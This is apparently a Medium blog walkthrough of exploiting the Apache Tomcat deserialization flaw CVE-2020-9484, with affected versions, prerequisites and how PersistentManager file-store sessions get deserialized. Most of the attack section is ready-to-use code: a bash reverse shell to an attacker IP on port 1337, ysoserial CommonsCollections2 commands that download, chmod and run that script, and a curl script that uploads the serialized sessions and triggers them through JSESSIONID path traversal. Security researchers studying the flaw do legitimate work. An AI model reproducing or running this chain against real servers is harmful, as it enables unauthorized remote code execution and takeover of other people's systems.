Apache Tomcat Deserialization of Untrusted Data RCE (CVE-2020–9484)

a niche remote code execution via deserialization on Apache Tomcat

Affected versions:

  • Apache Tomcat 10.x < 10.0.0-M5
  • Apache Tomcat 9.x < 9.0.35
  • Apache Tomcat 8.x < 8.5.55
  • Apache Tomcat 7.x < 7.0.104

i.e. versions pre-April 2020

Prerequisites to be vulnerable:

  1. The attacker is able to upload a file with arbitrary content, has control over the filename, and knows the location where it is uploaded.
  2. The PersistentManager is enabled and it’s using a FileStore
  3. The PersistentManager is configured with sessionAttributeValueClassNameFilter="null" (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized

Note, in a default configuration, Tomcat will run with StandardManager . In some situations administrators may choose to configure the use of PersistentManager by editing the conf/context.xml file.

In a PersistentManageer implementation (org.apache.catalina.session.PersistentManager) sessions persist across restarts of the container, sessions are kept backed up on disk to allow recovery for fault tolerance. This configuration also lmits the number of sessions kept in memory by swapping less active sessions out to disk.

When Tomcat receives a HTTP request with a JSESSIONID cookie, it will ask the Manager to check if this session already exists. It will first check in memory, but then check on disk if it is not there. When it finds the session on disk, it will be retrieved and deserialized to parse the session information from it.

Side note, you may also try using this script which attempts to determine if prerequisites for the host are met and if the host is vulnerable. Personally I have not had much luck with it, https://github.com/osamahamad/CVE-2020-9484-Mass-Scan

Moving on, we need to upload a malicious serialized object to the internal location on the machine so that we can retrieve it via the JSESSIONID cookie for RCE. We generate the required objects with ysoserial https://github.com/frohoff/ysoserial

Create a payload file, I will use a simple bash reverse shell to port 1337,

payload.sh

#!/bin/bash
bash -c "bash -I >& /dev/tcp/<MY KALI IP>/1337 0>&1"

Next, using ysoserial , we will create three files, one to download our payload, chmod our payload and one to execute it.

downloadPayload.session

java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 'curl http://<MY KALI IP>/payload.sh -o /tmp/payload.sh' > downloadPayload.session

chmodPayload.session

java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 "chmod 777 /tmp/payload.sh" > chmodPayload.session

executePayload.session

java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections2 'bash /tmp/payload.sh' > executePayload.session

From this point on, we can issue curl commands one by one to achieve our means, but I am going to automate this via a quick bash script.

curl.sh

#!/bin/bash
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/downloadPayload' -F 'image=@downloadPayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/downloadPayload'
sleep 1
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/chmodPayload' -F 'image=@chmodPayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/chmodPayload'
sleep 1
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/executePayload' -F 'image=@executePayload.session'
curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/executePayload'

Now with all these files in the same folder, set up a webserver for the payload downloaded by the target and a listener for the reverse shell.

Execute the curl script and voila we have remote code execution!

References:

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Roman Romanenco

Roman Romanenco

Writing about tech spaces I am passionate about, security engineering, information security, blockchain and web3.